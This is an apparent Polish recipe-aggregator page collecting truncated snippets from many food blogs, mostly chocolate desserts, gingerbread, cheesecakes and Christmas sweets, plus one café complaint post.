kawa jest w sam raz , żeby sobie poprawić humor przy natłoku prac i obowiązków...uff...byle do wee kendu ... Składniki: 1,5 łyżeczki kawy rozpuszczalnej 2 kostki czekolady mlecznej 1/4 łyżeczki przyprawy do piernika cukier do smaku wrzątek Sposób przygotowania: 1. Do kubka lub filiżanki dajemy kawę i przyprawę do piernika. 2. Do wrzątku dodajemy kostki czekolady i podgrzewamy(...)czekolada się rozpuści. 3. Czek oladowym wrzątkiem zalewamy kawę z przyprawą, całość mieszamy i ewentualnie dosładzamy do smaku. 4. Popijamy gorący na pój. Smacznego

Kuchnia domowa Ani
Muffinki czekoladowe z wiśniami 145

Bardzo fajne wilgotne muffinki. Przepis znalazłam na blogu, który już nie istnieje, ale podaję ze swoimi zmianami. Składniki: 1 tabliczka gorzkiej czekolady 1/2 kostki masła 2 czubate łyżki dżemu wiśniowego 2/3 szklanki wydrylowanych wiśni (świeżych lub z syropu) 1/2 szklanki cukru szczypta soli 2 jajka 1 niepełna szklanka mąki 1 i 1/2 łyżeczki proszku do pieczenia Sposób wykonania: 1. Masło(...)roztopić w garnku, dodać pokrojoną w kostkę czekoladę i mieszać do rozpuszczenia. Dodać cukier, dżem, jajka, sól, dokładnie wymieszać. 2. Dodać mąkę z proszkiem, wymieszać, a na końcu wsypać wiśnie. 3. Ciasto przelać do foremek do ok 3/4 wysokości. Piec 20-25 minut w 180 st. C. 4. Po upieczeniu i wystudzeniu można je polać roztopioną czekoladą lub polewą

Kuchnia domowa Ani
Piernik herbaciany ( szybki ) 353

sody * 3 łyżeczki przyprawy do piernika ( możecie zrobić sami - przepis tutaj ) * 1 szklanka mąki żytniej * około 2 szklanek mąki pszennej * woda dodatkowo: * 1 słoiczek powideł śliwkowych * 150 g gorzkiej czekolady * 2 łyżki oleju roślinnego Wykonanie: Zagotować wodę. W 1/2 szklanki wrzątku zaparzyć herbatę - pozostawić do wystygnięcia. W zimnej herbacie rozpuścić sodę. Miód z cukrem utrzeć do białości. Dodać esencję herbacianą(...)pieczenia blachę i piec w 180 stopniach C przez 20 minut. Upieczony blat piernikowy, przekroić na trzy równe części. Pozostawić do całkowitego wystygnięcia. Piernikowe blaty przełożyć powidłami śliwkowymi. Czekoladę rozpuścić, dodając olej roślinny, w kąpieli wodnej. Rozpuszczoną czekoladą polać piernik. Wierz piernika można udekorować bakaliami lub orzechami. Smacznego

kolorowotorcikowo
Kibiny z suszonymi śliwkami 226

Dzisiaj pomieszamy kuchnię Litewską z tradycją Polskiej suszonej śliwki podawanej w Święta Bożego Narodzenia podczas Wigilii. Kruche i delikatne kibiny nadziewane wspaniałą wędzoną śliwką, okraszoną czekoladą, cynamonem, anyżem i laską wanilii. Efekt wspaniały, ale najlepiej będzie jak sprawdzicie sami!. Składniki na ciasto, na ok 50 sztuk: 30 dag mąki 20 dag masła 1 jajo + 1 roztrzepane jajo do smarowania(...)się przyrumienią. Przed pieczeniem wierzch smarujemy rozmąconym jajkiem. Wyśmienicie smakują na gorąco i na zimno. Masa śliwkowa: 40 dag śliwek bez pestek  2 łyżki powideł śliwkowych 4 kostki czekolady gorzkiej 200-250 ml wody 5 dag cukru kryształu lub cukru trzcinowego laska cynamonu gwiazdka anyżu laska wanilii skórka otarta z cytryny  Po przyprawy i bakalie zapraszam do sprawdzonego

Apetyczna babeczka
Muffiny piernikowe renifery 285

brązowego cukru 1 łyżeczka przyprawy korzennej do piernika szczypta soli 0,5 szklanki  oleju 0,5 szklanki mleka 0,5 szklanki miodu 1 jajko 100 g posiekanej mlecznej czekolady 1 jabłko (starte na tarce o dużych oczkach) Do dekoracji: 100 g gorzkiej czekolady (rozpuszczonej w kąpieli wodnej) lukier plastyczny czarny i biały (oczy) czerwone cukierki M&Ms (noski(...)sodę oczyszczoną, sól i przyprawę korzenną. W drugiej misce mieszamy składniki mokre: roztrzepane jajko, olej, maślankę, mleko, miód. Zawartość obu misek łączymy, szybko mieszamy łyżką, na koniec dodajemy posiekaną czekoladę i  starte jabłko. Foremkę do muffinek wykładamy papilotkami. Do foremek wkładamy ciasto. Pieczemy około 25 minut w temperaturze 190 stopni C. Po wystudzeniu dekorujemy muffinki

Smakowity Blog Kulinarny
Piernik staropolski 373

patelnię, podgrzać, nie doprowadzać do wrzenia. Wystudzone płaty piernika przełożyć ciepłymi powidłami. Odstawić w chłodne miejsce na 2 doby. Ciasto przekroić na 3 równe części. Polewa czekoladowa: 200 g czekolady mlecznej 100 g czekolady gorzkiej 100 g masła Masło roztopić w garnku o grubym dnie. Dodać pokruszoną czekoladę. Mieszać do rozpuszczenia. Po wystudzeniu posmarować pierniki. Posypać pokrojonymi na drobne kawałki

kulinarnyswiatdomi
Waniliowy sernik na zimno na czekoladowo-owsianym spodzie 243

Taki sernik można zrobić z serków homogenizowanych, z jogurtu czy kremówki, z owocami lub bez, z galaretką- co kto lubi :) Mój sernik jest na spodzie z płatków owsianych z czekoladą, z kremową i mocno waniliową chmurką z borówkami- lekki, puszysty i pyszny! Polecam! Spód*:   * płatki owsiane- 300g * masło- 100g * czekolada- 100g (u mnie mleczna, ale można dać gorzką) * kakao(...)cukier trzcinowy drobny- 3/4 szklanki * wanilia- cała laska * żelatyna- 1 łyżka + 3 łyżki wrzątku * borówki- 250g Dodatkowo: * Płatki migdałów- garść Spód: Przygotować tortownicę o średnicy 20cm. Połowę płatków zmiksować. Czekoladę razem z masłem roztopić w kąpieli wodnej i wymieszać ze wszystkimi płatkami. Tortownicę posmarować masłem, posypać kakao i wyłożyć na spód masę czekoladowo-owsianą. Schłodzić w lodówce. Sernik: Płatki migdałów

Kraina Miodem Płynąca
Doskonały deser z doskonałym musem czekoladowym 135

truskawki oraz crunchy, ale równie świetnie będą się nadawać inne owoce i pokruszone ciastka. Musicie, koniecznie, musicie zrobić ten deser, będziecie zachwyceni!!! :) 3 porcje o pojemności pełnej szklanki: * czekolada mleczna- 80 g * kremówka- 150 g * truskawki (świeże lub mrożone)- 150 g * crunchy- 9 łyżek Czekoladę mleczną roztopić w kąpieli wodnej, ostudzić. Schłodzoną kremówkę ubić na sztywno (można odłożyć 2 łyżki(...)ozdoby) i stopniowo dolewać przestudzoną czekoladę. Wymieszać, aż do połączenia się składników. Truskawki zmiksować. Na dno pucharków wsypać po 3 łyżki crunchy, wylać mus czekoladowy, a na górę zmiksowane truskawki*. Ozdobić kleksem bitej śmietany. Podawać lekko schłodzone. Smacznego! :) * jeżeli zależy Wam na idealnych wizulanie 3 warstwach deseru, to radzę Wam nie sugerować się warstwami na zdjęciu tylko trzymać się kolejności

Kraina Miodem Płynąca
Grillowana polędwiczka w lekko pikantnym sosie czekoladowym 142

Dzisiajsza moja propozycja to mięciutka, soczysta i delikatna polędwiczka z grilla, polana aromatycznym sosem na bazie wina, przypraw i... czekolady :) I jeżeli chcecie cieszyć się doskonałym smakiem sosu, to nie rezygnujcie z żadnej przyprawy- wielokrotnie robiłam ten sos, za każdym razem zmieniając przyprawy- ten zestaw okazał się strzałem w 10tkę! Proste danie, ale jakże 'eleganckie'- niczym z najdroższej restauracji- które(...)odrobina oliwy Sos czekoladowy: * wino czerwone- 250 ml * listek laurowy- 1 szt. * ziele angielskie- 2 szt. * cynamon- pół łyżeczki * anyż- 1 szt. * gożdziki- 3 szt. * papryczka chili- 5 krążków* * czekolada gorzka- 6 kostek * masło- 40 g Polędwiczka: Pokroić mięso na około 2 cm plastry, a następnie delikatnie (!) rozbić tłuczkiem (owiniętym w woreczek foliowy) na grubość około 5mm. Polać oliwą, posypać

Kraina Miodem Płynąca
Idealne naleśniki- z musem czekoladowym i bananami* 165

zdradzęWam przepis na najlepsze ciasto naleśnikowe... :) Naleśniki (ok.10 szt.): * mleko- 250 ml * mąka- 100 g * jajko- 1 szt. * cukier- 4 łyżki * szczypta soli * masło klarowane/oliwa- 2 łyżki** Mus czekoladowy: * czekolada mleczna- 40 g * kremówka- 75 g Dodatkowo: * banan- 2 szt. * sok z cytryny * kakao doposypania Naleśniki: Z podanych składników wyrobić ciasto i smażyć z dwóch stron na średnim ogniu(...)czekoladowy: Czekoladę mleczną roztopić w kąpieli wodnej, ostudzić. Schłodzoną kremówkę ubić na sztywno (można odłożyć 2 łyżki do ozdoby) i stopniowo dolewać przestudzoną czekoladę. Wymieszać, aż do połączenia się składników. Przygotowanie: Usmażone naleśniki złożyć a trójkąty, w jedną górną 'kieszonkę' nałożyć mus czekoladowy, a w dolnej ułożyć plastry banana skropione sokiem z cytryny. Posypać kakao. Smacznego! :) * z podanych proporcji wyjdą

Kraina Miodem Płynąca
Ciasto podwójnie czekoladowe 184

wypieku! Ciasto: * mąka kukurydziana- 125 g * jajka- 4 szt. * drobny cukier- 125 g * kakao- 3 łyżki * olej- 3 łyżki * proszek do pieczenia- 1 łyżeczka Krem: * kremówka- 200 ml * czekolada mleczna- 100 g Dodatkowo: * owoce- spora garść * kruszonka- 3/4 szklanki Ciasto: Wszystkie składniki powinny być w temperaturze pokojowej. Piekarnik rozgrzać do 180 stopni. Białka ubić na sztywną pianę, a pod koniec(...)przez 5 minut. Następnie wyłożyć z formy na kratę i zostawić do całkowitego wystudzenia. Wydrążyć środek (ostrożnie, by nie zrobić dziury w spodzie), a kruszonkę odłożyć na później. Krem: Czekoladę roztopić w kąpieli wodnej, a kremówkę ubić. Do ubitej kremówki dodać czekoladę i dokładnie wymieszać. Przygotowanie: Do ciasta z wydrążonym środkiem nałożyć czekoladowy krem, dodać umyte owoce i posypać kruszonką

Kraina Miodem Płynąca
Ciasto czekoladowe z jagodami i białą polewą 140

się dyniowy, a ja dzisiejszym ciastem kończę okres jagodowy :) Wilgotne i miękkie ciasto, które w swoim składzie nie zawiera jajek, mocno czekoladowe, z dodatkiem jagód i dodatkowo polane białą czekoladą, a do tego nieskomplikowane (czyt. banalnie proste) i… wyjątkowo szybko znikające ze stołu ;))) Musicie się skusić! :))) * mąka pszenna- 400 g * jogurt grecki- 400 g * cukier- 200 g * olej- 1/3 szklanki(...)kakao- 2 czubate łyżki * soda- 1/2 łyżeczki * proszek do pieczenia- 1 łyżeczka * ekstrakt waniliowy- 1 łyżka Dodatkowo: * jagody- 150 g * kasza manna- 2 łyżki * biała czekolada- 50 g * kremówka- 1 czubata łyżka Piekarnik nastawić na 180 stopni. Mąkę wymieszać wraz z sodą, proszkiem do pieczenia, kakao i cukrem. Wlać jogurt, olej, ekstrakt waniliowy i ponownie wymieszać do połączenia składników. Przelać

Kraina Miodem Płynąca
Czekoladowa babeczka z kuskusu 112

które znaleźć możecie na blogu: np. kluski leniwe , waniliowe naleśniki , placki twarogowe  czy  blok czekoladowy . Dzisiaj kolejna odsłona kaszy, tym razem kuskus, w deserowej wersji- z białą czekoladą i nadzieniem   z serka owocowego (można zamienić na nadzienie z nutelli, bakaliowe, budyniowe, na jakie tylko macie chęć!) w sosie z malin i jagód. Deser zrobiłam w kształcie dużej(...)rozlatuje się, bardzo prosto i błyskawicznie się go przygotowuje, no i- nieskromnie dodam- prezentuje się dosyć atrakcyjnie, prawda? :))) * kasza kuskus- 1 szklanka  * mleko- 1,5 szklanki * czekolada biała- 100 g * serek np. Almette owocowe- 150 g * owoce- 200 g (+ 2 łyżeczki cukru)- opcjonalnie Wlać mleko do garnuszka, wstawić na ogień, a pod koniec gotowania dodać pokruszoną, białą czekoladę

Kraina Miodem Płynąca
Miętowe ciasto z białek 210

tego wypieku :) Ciasto: * białka- 200 g (około 6 szt.) * cukier- 150 g* * mąka- 170 g * masło- 170 g (najlepiej klarowane) * aromat miętowy- pół łyżeczki * barwnik zielony- opcjonalnie Polewa: * czekolada- 100 g ( ja dałam mleczną) * olej- 1 łyżeczka Ciasto: Piekarnik nastawić na 175 stopni. Masło roztopić w rondelku i ostudzić. Zimne białka ubijać na pianę, w połowie ubijania wsypać cukier(...)połączenia się składników i przelać do formy (u mnie to podłużne forma o długości ok. 25 cm) wysmarowanej masłem i oprószonej mąką. Piec 45-50 minut. Polewa: Połamaną czekoladę wrzucić do małego rondelka, wlać 1 łyżeczkę oleju i- na parze- rozpuścić. Lekko przestudzić i ozdobić ciasto. Smacznego! :) * jeżeli do polewy wykorzystacie gorzką czekoladę, to warto dosypać więcej cukru, ja wtedy

Kraina Miodem Płynąca
Dyniowa krajanka 124

znana masa z kaszy manny, w tym wypadku z dodatkiem dyni, wzbogacona aromatem pomarańczowym oraz rodzynkami i orzechami włoskimi. I tak, gotowana, aromatyczna masa dyniowa zamknięta warstwą herbatników, polana czekoladą smakuje genialnie- mimo niewielkiego wkładu pracy :))) * dynia- 250 g   * mleko- 350 ml * kasza manna- 1/2 szklanki * cukier- 1/2 szklanki * masło- 100 g * bakalie- garść * gałka muszkatołowa- 1/2 łyżeczki * aromat(...)pomarańczowy- 2-3 krople * herbatniki * czekolada gorzka + 2 łyżki mleka Do garnka z mlekiem wsypać cukier i dynię pokrojoną na mniejsze kawałki. Gotować, aż dynia będzie miękka, a następnie zmiksować blenderem na gładki krem. Nie przerywając gotowania wsypać kaszę mannę i energicznie wymieszać rózgą, aż do zgęstnienia kremu. Garnek odstawić i do gorącej masy wsypać rodzynki oraz orzechy, dodać również

Kraina Miodem Płynąca
(Przed)świąteczna tarta z malinami 220

panuje karp.   Składniki: 150 g mąki + 3 łyżki 20 g kakao 25 g cukru pudru 3 jaja + żółtko 200 g masła 55 g cukru trzcinowego 100 g gorzkiej czekolady 30 g czekolady mlecznej maliny Przepis: Najpierw przygotowujemy kruche ciasto. Kroimy 100g zimnego masła na malutkie kawałeczki. Składniki sypkie przesiewamy do miski (150 g mąki, cukier puder, kakao). Dodajemy(...)urosło i piec około 15-20 minut w dobrze rozgrzanym piekarniku (180 stopni). W międzyczasie przygotowujemy masę czekoladową. Trzy całe jaja ucieramy z cukrem do uzyskania jednolitej konsystencji. Rozpuszczamy czekolady w kąpieli wodnej (w przepisie z brownie wytłumaczyłyśmy na czym ona polega)  i dodajemy do nich masło (100g) na wyłączonym już ogniu - rozpuszczamy.Tak uzyskaną masę (ciągle gorącą) ciurkiem wlewamy

WeAreCrazy
Orzechowe ciasteczka na święta 267

SKŁADNIKI: 30 dag mąki pszennej 20 dag kostka masła 10 dag orzechów włoskich 10 dag cukru pudru 2 żółtka 1 cukier wanilinowy kokos masło (do posmarowania formy) + składniki na czekoladę PRZEPIS  (masło, mleko, cukier, kakao) WYKONANIE: Najlepiej na samym początku zmielić orzechy. Następnie przesiać mąkę, dodać masło i zmielone orzechy - dokładnie połączyć. Do połączonych składników dodać cukier puder(...)złoty kolor -  w temperaturze 190 stopni na czas 20 minut. Po upieczeniu zaraz ściągnąć z formy i przenieść na talerz - pozostawić do ostygnięcia. Po ostygnięciu ciastek, zrobić czekoladę.  Każde ciasteczko zamoczyć w czekoladzie i włożyć do kokosu. I ciasteczka są gotowe

Serce zamknięte w formie pyszności
Ciasto orzechowo - truflowe 2256

temp. 180st. Ostudzić i przekroić na dwie równe części. Krem:  2 szklanki mleka,  2 żółtka,  250g masła,  budyń waniliowy,  300g cukierków trufli w czekoladzie,  250g orzechów włoskich (użyłam Helio ),  1/3 szklanki cukru.  Orzechy przełożyć do blendera i zmielić. 3/4 szklanki mleka zagotować, zalać orzechy, odstawić do ostygnięcia. 1/4 szklanki mleka podgrzać, dodać(...)ciasta wyłożyć krem z orzechami, przykryć drugim blatem ciasta. Rozsmarować odłożony krem truflowy. Schłodzić. Pianka:  5 białek,  galaretka wiśniowa,  2/3 szklanki cukru,  50g startej mlecznej czekolady. Galaretkę rozpuścić w 1/3 szklanki wrzątku, przestudzić. Białka ubić na sztywną pianę, stopniowo dodając cukier w trakcie ubijania. Dodać przestudzoną galaretkę, krótko zmiksować. Masę rozsmarować na wierzchu ciasta. Schłodzić. Przed

Z miłości do słodkości
Toskański placek świąteczny 159

świecie aromatyczny baton owocowo – migdałowy. Jest bardzo wydajny, bo kroi się go na paski o grubości ok. 1,5 cm.  Przed podaniem można polać go gorącą gorzką czekoladą. Jeśli chcecie go upiec na święta to śpieszcie się bo im dłużej leży, tym jest lepszy.  Szczerze polecam.  Składniki: 300 g całych migdałów, 100 g suszonych fig, 1 łyżeczka(...)cytryny, 150 g pokrojonych w kostkę kandyzowanej pomarańczy, szczypta gałki muszkatołowej, 1 duża pomarańcza, 8 kostek cukru, 250 g cukru białego, 200 g mąki, cukier puder do posypania, gorzka czekolada. Przygotowanie: Migdały sparzamy, zdejmujemy z nich skórkę i przesypujemy na blachę od piekarnika. Piekarnik nagrzewamy do 200 ° C i prażymy w nim migdały, aż nabiorą złotawego koloru. Zrumienione migdały, studzimy

Moniki Smakołyki
Świąteczne Rafaello 747

Pyszne kokosowe kulki rafaello z białej czekolady - w wydaniu świątecznym - z dodatkiem skórki pomarańczowej :) SKŁADNIKI 300g białej czekolady 3 łyżki mleka 1/2 szklanki cukru pudru 100g masła 2 łyżki kandyzowanej skórki pomarańczowej 150g wiórków kokosowych PRZYGOTOWANIE Masło ucieramy z połową cukru. Czekoladę z mlekiem roztapiamy na parze. Dodajemy masło z cukrem, połowę wiórków i kandyzowaną skórkę.    Mieszamy

Moje Kuchenne Rewelacje
Sernik kokosowy 3D 174

kokosowych 2-3 lyzki cukru lub nawet 3/4 szklanki 1 szklanka mleka kokosowego 1 lyzka soku z cytryny 1-2 lyzki maki ziemniaczanej 2 bialka dodatkowo:100 g bialej czekolady i raffaello do dekoracji Wykonanie: skladniki na spod sernika wyrobic na jednolita mase.W razie potrzeby,gdyby ciasto bylo bardzo zwiezle dodac 1-2 lyzki zimnej wody.Uformowac w kule,zawinac(...)czasie wylacz piekarnik i studz przez pol godziny przy uchylonych drzwiczkach.Nastepnie studz na kratce.Gdy sernik ostygnie zdejmij obrecz. w kapieli wodnej rozpusc biala czekolade dodajac do polamanej czekolady 1-2 lyzki mleka kokosowego ( resztki z puszki).Gdy masa bedzie juz zastygac przy pomocy noza posmaruj czekolada boki sernika.Sernik na noc wstaw do lodowki.Masa serowa przez noc sie ustabilizuje,a mocno

Gotuj zdrowo!Guten Appetit!
Naleśniki orkiszowe z musem jabłkowym 180

cukru 1 łyżka masła lub oleju 1/3 łyżeczka soli Składniki na mus jabłkowy: 3 jabłka 100 ml soku jabłkowego Dodatkowo: 200 ml śmietany kremówki 1 łyżka rumu 50 g czekolady listki mięty do przybrania Wykonanie: przesiać mąkę do miski,wbić jajka i cały czas ubijając stopniowo dodawać mleko z wodą,po czym przykryć i pozwolić mu przez co najmniej godzinę(...)obydwu stron jabłka obrać,wykroić gniazda nasienne,dowolnie rozdrobnić.W rodelku jabłka zalać sokiem jabłkowym i dusić do miękkości około 15 minut.Zblendowac na gładkie puree kilka kostek  czekolady umieścić w kapieki wodnej z kilkoma łyżkami śmietany kremówki i rozpuścić naleśniki dowolnie złożone podawać z musem jabłkowym i jogurtem polane stopioną czekoladą

Gotuj zdrowo!Guten Appetit!
Przepis na Zucotto 302

ostatecznie upiekę na święta ale mam ciekawą propozycję… zucotto. Zucotto to włoski deser, który postanowiłam zrobić kiedy tylko zobaczyłam jego zdjęcie. Bardzo efektownie wyglądający i bardzo smaczny. Śmietana, czekolada, wiśnie….z odrobiną alkoholu, czy takiemu zestawieniu można się oprzeć;)? Ja nie mogłam… :)! Przepis na Zucotto – składniki: 115 miękkiego masła (plus więcej do wysmarowania) 100 g mąki(...)zależności od tego z jakiej śmietany korzystamy może być potrzebny zagęstnik do śmietany/ 25 g cukru pudru 225 g wiśni bez pestek (mogą być z puszki) 55 g czekolady drobno posiekanej 55 g stostowanych posiekanych migdałów   Do miski przesiać mąkę, kakao, proszek do pieczenia, sodę i cukier. Dodać masło i jajka. Wszystko zmiksować na jednolitą masę i przełożyć

UgotujmyTo.pl
Sernik czekoladowy z gruszkami na oleju rzepakowym 149

serka kremowego 250 g mascarpone 150ml oleju rzepakowego 300 ml kwaśnej śmietany 5 jajek 280 g cukru 4 łyżki mąki ziemniaczanej 2 łyżeczki wanilii 200 g gorzkiej czekolady dodatkowo: 7 dojrzałych gruszek 1,5 litra soku wiśniowego pół szklanki cukru i -opcjonalnie- laska cynamonu, kilka goździków, kilka gwiazdek anyżu, nasiona kardamonu, 1. Gruszki najlepiej przygotować dzień wcześniej. Gruszki obrać(...)chcą stać można podciąć podstawę. 3. Zmiksować razem sery, cukier, olej, jajka i wanilię. Dodać makę ziemniaczaną i zmiksować. Dodać kwaśną śmietanę i po zmiksowaniu dodawać po trochu czekoladę mieszając łyżką (rozpuszczoną w kąpieli wodnej i przestudzoną) Masę wylać do tortownicy, uważając żeby nie poprzewracać i nie umazać za bardzo gruszek. Kilka razy delikatnie wstrząsnąć tortownicę, żeby masa się równomiernie

UgotujmyTo.pl
Piernik marchewkowy 353

/rzepakowego 3 jajka 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 2 łyżeczki kakao 2 łyżki przyprawy do piernika (domowej) skórka otarta z jednej pomarańczy Polewa: 100g gorzkiej czekolady lub mlecznej 2-3 łyżki mleka 1. Przesiać do miski mąkę, kakao, sodę, proszek i przyprawę do piernika. 2. Do miski wlać olej, wsypać cukier i zmiksować. Dodać jajka(...)masłem i wysypać mąką i wlać ciasto. Wstawić do piekarnika nagrzanego do 180 stopni i piec około 60 minut (do suchego patyczka). Po wyjęciu ciasto przestudzić w formie. Polewa: Czekoladę z mlekiem rozpuścić w kąpieli wodnej lub w rondelku zagotować mleko, zmniejszyć ogień, dodać czekoladę i mieszać do połączenia. Polać wierzch piernika. Smacznego Post Piernik marchewkowy pojawił się poraz pierwszy

UgotujmyTo.pl
Przepisy na Boże Narodzenie i Wigillie 143

Sernik na piernikowym spodzie Sernik bajeczny Torcik piernikowy przekładany powidłami w polewie mleczne Małe co nieco Trufelki z żurawiną Kuleczki z makiem Śnieżna morelka Śliwka w trufli z biaej czekolady Cukiereczki na choinkę Śliwka w czekoladzie z truflą Michałki - cukiereczki z orzechami Żurawinki Torty Tort z żurawiną Świąteczny przekładaniec Tort cytrynowy Napoje Gorąca czekolada - domowa

Moje pyszne gotowanie
TARTA PANNA COTTA Z MUSEM TRUSKAWKOWYM 2498

cenie smaczne truskawki, dlatego chciałam wykorzystać już te ostatnie chwile z moimi ulubionymi owocami i upichciłam pyszną tartę o smaku panna cotta z musem truskawkowym i białą czekoladą. Tarta wyszła cudna! Jeśli lubujecie się  w deserze panna cotta to jest to coś dokładnie dla Was!:) Lekki truskawkowy mus wspaniale smakuje w połączeniu ze śmietankowo-waniliowym wypełnieniem(...)kleksami białej czekolady. Całość jest lekka i znika błyskawicznie, a moje Dzieci były wprost zachwycone tym deserem:) Gorąco polecam! SKŁADNIKI NA PANNA COTTĘ: 300 g śmietany kremówki 36% 1,25 szklanki cukru pudru 1 laska wanilii 1/3 szklanki wody + 3 łyżki 4 łyżeczki żelatyny SKŁADNIKI NA MUS TRUSKAWKOWY: 400 g truskawek 2/3 szklanki cukru 1 łyżeczka soku z cytryny

Słodko-Słony Świat Ilony
Pianka wiśniowo-cytrynowa 2771

Składniki: Galaretka wiśniowa - 1 opak. Galaretka cytrynowa – 1 opak. Mleko skondensowane niesłodzone – 340g Biała czekolada – kilka kostek Gorzka czekolada – kilka kostek Wykonanie: Galaretkę wiśniową rozpuścić w 250ml wrzątku. Galaretkę cytrynową rozpuścić w 250ml wrzątku. Obie galaretki pozostawić do ostudzenia i gdy zaczną lekko tężeć dodać do każdej po 170g mleka skondensowanego i ubijać mikserem na najwyższych(...)okrągłej blaszki o średnicy 18cm ) najpierw wylać masę wiśniową, a następnie delikatnie masę cytrynową. Włożyć do lodówki na kilka godzin, by pianka całkowicie stężała. Kilka kostek białej i gorzkiej czekolady zetrzeć na tarce. Oprószyć wierzch pianki. Smacznego! The post Pianka wiśniowo-cytrynowa appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Kokosek 157

piernika   Składniki na masę: 2 szklanki mleka pół szklanki cukru opakowanie cukru waniliowego  20 dag margaryny Kasia 20 dag wiórków kokosowych Składniki na polewę: 100 g czekolady mlecznej 100 g czekolady deserowej 125 g masła wiórki kokosowe do posypania   Wszystkie suche składniki wsypać do miski, dodać mokre i wszystko dokładnie wymieszać mikserem na jednolitą masę (powinna być(...)niewielką ilością mleka budyń. Ponownie zamieszać. Kiedy całość zgęstnieje zestawić masę z kuchenki do ostudzenia. Ostudzony placek przekroić na dwie warstwy i przełożyć go masą. Przygotować polewę. Rozpuścić czekolady i masło w kąpieli wodnej, wymieszać. Polać ciasto i posypać wiórkami kokosowymi (fot.3) . Smacznego

Świat Ciasta
Kulki Amaretto 121

Składniki na około 40 sztuk: 2 łyżki śmietany 30% 80 g masła 200 g białej czekolady 10 kruchych herbatników typu Petit Beurre 4 łyżki Amaretto 7 łyżek posiekanych migdałów Dodatkowo do obtoczenia: posiekane migdały Śmietanę podgrzać w kąpieli wodnej. Dodać masło i białą czekoladę. Całość podgrzewać, aż do momentu kiedy wszystko dobrze się rozpuści. Zdjąć z ognia i odstawić(...)wystudzenia (fot.1) . Herbatniki drobno pokruszyć a następnie zalać 4 łyżkami rumu Amaretto. Dodać do rozpuszczonej czekolady, dosypać migdały i całość dobrze wymieszać. Wstawić do lodówki na około godzinę. Następnie z masy formować małe kulki wielkości orzecha włoskiego i każdą z nich obtoczyć w siekanych migdałach (fot.2) . Przechowywać w lodówce - ale nie dłużej niż tydzień

Świat Ciasta
Pyszny torcik malinowy 280

cukru 90 g mąki 1 łyżeczka mąki ziemniaczanej 1/4 łyżeczki proszku do pieczenia 400 g malin (świeżych lub mrożonych) 1 torebka galaretki malinowej 2 łyżki żelatyny 1,5 tabliczki czekolady mlecznej 3 szklanki śmietanki kremówki 30% 4 łyżki cukru pudru Nie mogłam opszeć się pokusie, kiedy zobaczyłam na targowisku ostatnie maliny, których sezon pomału przemija. Tym razem zaproponuję lekki torcik(...)Przestudzić. Śmietankę ubić z cukrem pudrem. Dodać żelatynę. Masę podzielić na dwie części. Do jednej dodać połowę zmiksowanych na mus malin (fot.2) , a do drugiej starkowaną na drobne wiórki czekoladą (fot.3) . Na wystygnięty spód biszkoptowy nałożyć najpierw masę z malinami, a następnie masę z czekoladą - wyglądającą zupełnie jak Striacatella :). Wszystko ładnie wyrównać i wstawić do lodówki. Galaretkę rozpuścić wg wskazówek

Świat Ciasta
Cynamonowe serduszka 149

cukru pudru 1 łyżeczka startej skórki pomarańczowej 1/3 łyżeczki cynamonu niewielka szczypta kardamonu 1 żółtko 100 g masła Dodatkowo: 25 g cukru 1 płaska łyżeczka cynamonu 100 g białej czekolady do dekoracji Świąteczne pieczenie czas zacząć!  :) - a na pewno nie ma nic lepszego na początek sezonu takich wypieków, jak ciasteczka o niezwykłym aromacie pomarańczy i przypraw korzennych. Ciasteczka(...)blachę, wyłożoną papierem do pieczenia. Ciastka posmarować wodą i posypać cynamonem (1 łyżeczka) wymieszanym z cukrem (25 g). Piec w temperaturze 200ºC przez 10 minut. Studzić na kratce. Białą czekoladę rozpuścić w kąpieli wodnej i udekorować nią ciasteczka. Ja do tego celu wykorzystuję zwykłą strzykawkę jednorazową, żeby otrzymać jak najcieńszy strumyczek czekolady (fot.2) . Przepis bierze udział w akcjach

Świat Ciasta
Pralinki marcepanowe 134

Składniki na około 25 pralinek: 20 dag gotowej masy marcepanowej 40 g posiekanych orzechów włoskich + orzeszki do przybrania  10 ml rumu 150-200 g czekolady mlecznej lub gorzkiej Ostatnio robiłam porządki przed świąteczne w lodówce i okazało się, że znalazłam tam jeszcze całe opakowanie masy marcepanowej. Postanowiłam coś z nią zrobić :) Najlepszym pomysłem wydały mi się pralinki marcepanowe(...)marcepanową lekko ocieplić, żeby była bardziej miękka (ja włożyłam na 60 sek. do kuchenki mikrofalowej przy mocy 150W) a następnie ugnieść z orzeszkami i rumem. Formować małe kuleczki (fot.1) . Czekoladę rozpuścić w kąpieli wodnej, a następnie maczać w niej kulki marcepanowe (fot.2) . Odkładać na papier do pieczenia lub kratkę do pralinek. Przed całkowitym zastygnięciem czekolady przyozdobić orzechami. Odstawić do całkowitego

Świat Ciasta
SEROMAK Z CZEKOLADĄ I KOKOSEM 344

tylko! Jest świetnym pomysłem na niedzielny deser czy też w tygodniu do popołudniowej kawy. Dużo ”mokrego” maku , takiego jak uwielbiam … delikatna masa serowa …. a wszystko to pokryte prawdziwą czekoladą i posypane dużą ilością prażonego kokosu. Czyż nie cieknie ślinka na samą myśl? Na pewno! A więc do dzieła! Wielbiciele makowców i serników będą zachwyceni … a myślę , że i Ci , którzy(...)masa makowa ) – 250 g * cukier – 1,5 szkl * jajka – 4 szt * masło – 70 g * mąka – 4 łyżki * proszek do pieczenia – 1,5 łyżeczki * olejek migdałowy – 0,5 łyżeczki DODATKOWO : * czekolada deserowa / gorzka – 100 g * wiórki kokosowe * mleko – 50 ml SPOSÓB PRZYRZĄDZENIA : UWAGA! Przepis jest na dużą blachę ( jeśli chcecie zrobić w mniejszej można śmiało odpowiednio zmniejszyć ilość składników ). MASA SEROWA

Ostra na Słodko
Pijalnia czekolady Wedel – czy tak się traktuje klientów?! 107

Będąc na spacerze na krakowskim rynku wybraliśmy się dziś ( 01.03 ) na czekoladę do znanej i cenionej kawiarni „Pijalnia czekolady Wedel”. Nie pierwszy raz , ale pewnie ostatni ( a szkoda , bo czekoladą i deserami z tego miejsca zawsze byliśmy zachwyceni! ). Po wejściu do środka zajęliśmy stolik w samym centrum sali. Pani kelnerka przywitała , podała karty , my zajęliśmy się wyborem słodkości

Ostra na Słodko
Obłędne trufle czekoladowe 172

